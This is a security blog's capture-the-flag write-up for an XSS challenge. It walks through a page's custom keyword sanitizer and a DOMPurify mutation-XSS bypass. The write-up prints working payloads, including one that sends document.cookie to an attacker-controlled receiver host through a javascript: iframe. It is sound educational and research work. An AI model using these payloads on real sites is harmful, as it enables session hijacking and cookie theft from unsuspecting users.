eqqn Security blog

CTF write-ups


This year SigSegv qualifiers are back,

XSS challenge: Theory of Browser Evolution

You are tasked to steal the cookie from a web page. The target machine is running “Chrome with recent updates”, so it is advisable to test it in chrome.

You have one URL to test your payloads and the other one to validate your flag. The validation page will pass the link to a bot which will trigger XSS.



Finding injection point

Since there is no obvious forms or input elements apparent, we look at the page source ( follow comments for my thought proccess ) :

    var nuclearSanitizer = function (dirty) {
        var clean = dirty;
     //## These are directives banned by Developer
        forbiddenWords = ["onerror", "onload", "onunload", "img", "focus"];    
        for (const fw of forbiddenWords) {
            if (dirty.toLowerCase().includes(fw)) {
                clean = "";
        return clean;
    var getUrlParam = function (name) {
        var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
        var r = unescape(window.location.search.substr(1)).match(reg);
        if (r != null) return r[2];
        return null;
    //## This is where the URL parameter is taken
    var layout = getUrlParam("layout");
    var clean = DOMPurify.sanitize(layout);
    // Hehe I made a custom sanitizer, no worriez
    clean = nuclearSanitizer(clean);

    var injectionPoint = document.getElementById("injection");
    injectionPoint.innerHTML = clean;
    injectionPoint.innerHTML = injectionPoint.innerHTML;

The getUrlParam function takes url parameter layout and puts it inside “injection” element of the webpage. Queries such as ` http://qual-challs.rtfm.re:8080/?layout=YOURSTRINGHERE ` will render on the page.


However there is pesky DOMPurify.sanitize(layout); getting in our way of triggering the desired alert(1) box. After giving automated tools a try ( XSStrike and Burpsuite) and trying to concatenate some form of <script>alert(222)</script> to render on the page I kept getting owned by the sanitizer.

Alternatives from XSS cheat sheets [1] ,2 didn’t seem to work. However my friend point me to an interesting resource - DOMPurify bypass.

Bypassing DOMPurify

There is an excellent write-up describing a recent vulnerability in DOMPurify, that uses browsers auto-fix feature to close the tags of HTML elements that are not properly matching.

More on this behaviour here : https://research.securitum.com/dompurify-bypass-using-mxss/

So the PoC payload referenced in the article looks like this :

<svg></p><style><a id="</style><img src=1 onerror=alert(1)>"> However it uses both img and onerror tags stripped by NuclearSanitizer(), so we can look once again at the cheat sheets and find other components that could do the trick.


?layout=<svg></p><style><a id="</style><iframe src=1 onmouseover=alert(1)>"> With this I popped the first alert. DOMPurify is bypassed. Great, now to make it run without interaction and onto exfiltration. In this part you can get creative.

To steal the cookie, you need to make a request to a domain you control. A convenient web service for that is “Requestbin” [3] , which allows you to receive requests on their servers.

document.cookie is where a cookie is stored. We append it to the end of source URL, thus making the element call our server, with the cookie as a parameter. We catch this request in logs.

?layout=<svg></p><style><a id="</style><iframe src=javascript:document.location='hxxps://REPLACE-WITH-YOUR-RECEIVER/'+ document.cookie>">

Once we submit the full URL into the validator, a HTTP request is made to our cookie receiver server :



This was a fun challenge, and I got to learn XSS the fun way.

P.S.: Did you know that markdown in GithubPages runs any JS , including unescaped<script>alert("boxes")</script> , well now you know.


[1] Web Security Academy XSS cheat sheet https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

[2] Payload ALL the things XSS repo https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection

[3] Requestbin https://requestbin.com/